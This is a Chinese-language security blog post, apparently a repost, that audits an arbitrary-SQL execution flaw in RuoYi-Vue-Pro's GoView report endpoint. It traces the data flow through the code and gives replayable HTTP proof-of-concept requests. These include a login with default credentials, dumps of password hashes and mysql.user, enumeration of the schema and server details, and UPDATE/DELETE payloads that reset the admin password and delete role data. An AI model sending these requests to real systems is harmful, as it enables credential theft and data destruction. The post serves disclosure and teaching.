一次 SQL 注入代码审计实战:从发现到验证的完整过程

admin 2026年6月26日21:47:34评论106 views字数 5264阅读17分32秒阅读模式

本文记录了在对RuoYi-Vue-Pro最新版进行代码审计时,发现并验证SQL注入漏洞的完整过程。通过工具告警追踪数据流,揭示系统因输入校验失效、直接执行原始SQL及数据库权限过大导致的注入风险,提供从信息泄露到DML执行的完整POC验证及修复思路。

本文记录了一次对若依框架(RuoYi-Vue-Pro最新版)进行代码审计时,发现并验证 SQL 注入漏洞的完整过程。适合有一定 Java 基础的开发者和安全爱好者阅读。

一次 SQL 注入代码审计实战:从发现到验证的完整过程

一、前言

SQL 注入作为 OWASP Top 10 的常客,至今仍在各类项目中屡见不鲜。许多人以为"用了框架就不会有 SQL 注入",但实际情况往往并非如此。

今天这篇文章,带大家走一遍完整的代码审计流程——从审计工具告警出发,到逆向追踪数据流,再到 POC 验证,最后给出修复思路。

一次 SQL 注入代码审计实战:从发现到验证的完整过程

二、审计起点:一个"中危"告警

日常使用自动化审计工具扫描代码库时,工具在 yudao-module-report 模块打出了一条告警:

漏洞ID: 35285漏洞编号:CWE-89风险等级:中危漏洞位置:GoViewDataServiceImpl.java:35漏洞描述:检测到SQL语句中使用了格式化字符串,可能导致SQL注入漏洞

对于这类告警,很多开发者的第一反应是 "这功能就是用来执行 SQL 的,算什么注入?" —— 别急,我们往下看。

源码链接:https://github.com/YunaiV/ruoyi-vue-pro/archive/refs/tags/v2026.05(jdk8/11).zip

一次 SQL 注入代码审计实战:从发现到验证的完整过程

三、代码走读:数据流追踪

先找到告警指向的代码。

3.1 Sink 点:Service 层

// GoViewDataServiceImpl.java@Service@Validatedpublicclass GoViewDataServiceImpl implements GoViewDataService {@Resourceprivate JdbcTemplate jdbcTemplate;@Overridepublic GoViewDataRespVO getDataBySQL(String sql){// 【告警点】直接执行用户传入的原始 SQL 字符串SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql);// 解析结果集,构建返回数据...SqlRowSetMetaData metaData = sqlRowSet.getMetaData();String[] columnNames = metaData.getColumnNames();respVO.setDimensions(Arrays.asList(columnNames));// ...return respVO;}}

注意第 35 行:jdbcTemplate.queryForRowSet(sql) —— 直接把参数 sql 送进了数据库,没有任何过滤、没有任何参数化。

这是一个典型的 Sink 点:危险函数 + 外部可控输入 = 安全风险。

3.2 向上追踪:Controller 层

接着往上追,看 sql 参数从哪来:

// GoViewDataController.java@RestController@RequestMapping("/report/go-view/data")publicclass GoViewDataController {@Resourceprivate GoViewDataService goViewDataService;@RequestMapping("/get-by-sql")@PreAuthorize("@ss.hasPermission('report:go-view-data:get-by-sql')")public CommonResult<GoViewDataRespVO>getDataBySQL(@Valid@RequestBody GoViewDataGetBySqlReqVO reqVO){returnsuccess(goViewDataService.getDataBySQL(reqVO.getSql()));}}

关键信息:

·接口路径:POST /admin-api/report/go-view/data/get-by-sql

·鉴权:@PreAuthorize 限制,需要 report:go-view-data:get-by-sql 权限

·输入:reqVO.getSql() —— 完全由请求体控制

3.3 输入校验:形同虚设

再看看请求 VO 的校验:

// GoViewDataGetBySqlReqVO.java@Datapublicclass GoViewDataGetBySqlReqVO {@Schema(description ="SQL 语句", example ="SELECT * FROM user")@NotEmpty(message ="SQL 语句不能为空")privateString sql;}

只有一个 @NotEmpty —— 只检查了"不为空",但没有检查"是什么"。

你可以传 SELECT,也可以传 UPDATE、DELETE、DROP……

一次 SQL 注入代码审计实战:从发现到验证的完整过程

四、数据流全景

┌──────────────────────┐              │ 用户请求 │              │ {"sql": "任意SQL"} │              └────────┬─────────────┘                 │                 ▼              ┌──────────────────────┐              │ Controller │              │ @PreAuthorize 鉴权 │ ← ✅ 有权限控制              │ @NotEmpty 校验 │ ← ❌ 仅校验非空              │ reqVO.getSql() │ ← 直接取出原始 SQL              └────────┬─────────────┘                 │                 ▼              ┌──────────────────────┐              │ Service │              │ jdbcTemplate │ ← ❌ 零过滤,零参数化              │ .queryForRowSet(sql) │              └────────┬─────────────┘                 │                 ▼              ┌──────────────────────┐              │ MySQL (root@localhost)│ ← ❌ root 最高权限              │ 执行任意 SQL │              └──────────────────────┘

结论:从用户输入到数据库执行,全程无安全控制。

一次 SQL 注入代码审计实战:从发现到验证的完整过程

五、POC 验证

光看代码不够,还得实际验证。以下所有数据包可直接导入 Yakit / Burp Suite 复现。

注意:项目默认未启用 report 模块(pom.xml 中被注释),且默认开启 API 加密(会拦截明文请求)。验证前需做两处改动:

1.取消 pom.xml 中 yudao-module-report 的注释并重新编译

2.在 application-local.yaml 中添加 yudao.api-encrypt.enable: false

Step 0:登录获取 Token

POST /admin-api/system/auth/login HTTP/1.1Host: localhost:48080Content-Type: application/jsontenant-id: 1{"username":"admin","password":"admin123"}

POC-1:正常查询,验证接口可用

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT id, username, nickname FROM system_users LIMIT 3"}

正常返回用户列表——接口功能本身是正常的。

POC-2:泄露密码哈希 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT username, password FROM system_users LIMIT 2"}

返回了 admin 和 yudao 两个用户的 bcrypt 密码哈希。

POC-3:跨库读取 MySQL 系统表 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT user, host FROM mysql.user LIMIT 3"}

成功读取了 mysql.user 系统表。

POC-4:枚举全库表结构 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='ruoyi-vue-pro' LIMIT 10"}

返回数据库所有表名,为精准攻击提供完整情报。

POC-5:数据库系统信息泄露 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT @@version AS ver, @@datadir AS datadir, USER() AS db_user FROM DUAL"}

响应揭示了三个关键信息:

·数据库版本:8.0.12

·数据文件路径:D:phpstudy_proExtensionsMySQL8.0.12data

·当前连接用户:root@localhost(最高权限!)

POC-6/7:DML 语句(UPDATE/DELETE)🔴

{"sql": "UPDATE system_users SET password = 'hacked' WHERE id = 1"}{"sql": "DELETE FROM system_role_menu WHERE role_id = 1"}

代码层面对 SQL 类型没有任何限制,DML 语句原样传递到数据库。jdbcTemplate.queryForRowSet() 虽然主要用于查询,但底层 Statement.execute() 同样可以执行 UPDATE/DELETE。

一次 SQL 注入代码审计实战:从发现到验证的完整过程

六、为什么这个漏洞能存在?

回顾整个数据流,有四层防线全部失守:

防线

预期

实际

评价

输入校验

限制 SQL 类型为 SELECT

仅 @NotEmpty,无类型校验

🔴 失守

Service 层

使用参数化查询

jdbcTemplate.queryForRowSet(sql) 直接拼接

🔴 失守

数据库账户

只读账户,最小权限

root@localhost,全部权限

🔴 失守

连接池配置

禁用多语句

multi-statement-allow: true

🔴 放大危害

这就是典型的 纵深防御缺失——一道防线破了,后面没有更多的墙。

一次 SQL 注入代码审计实战:从发现到验证的完整过程

七、关键代码文件索引

文件

角色

yudao-module-report/.../GoViewDataController.java

Controller 入口,接收用户 SQL

yudao-module-report/.../GoViewDataGetBySqlReqVO.java

请求 VO,仅校验非空

yudao-module-report/.../GoViewDataServiceImpl.java

漏洞核心:直接执行原始 SQL

yudao-server/.../application-local.yaml

数据源配置(root 账户、multi-statement-allow)

一次 SQL 注入代码审计实战:从发现到验证的完整过程

声明:本文仅供安全研究与学习交流使用,请勿利用文中技术进行未授权测试。代码修复方案已在文中给出,欢迎参考与讨论。

原文始发于微信公众号(知然安全):一次 SQL 注入代码审计实战:从发现到验证的完整过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年6月26日21:47:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次 SQL 注入代码审计实战:从发现到验证的完整过程https://cn-sec.com/archives/5307332.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息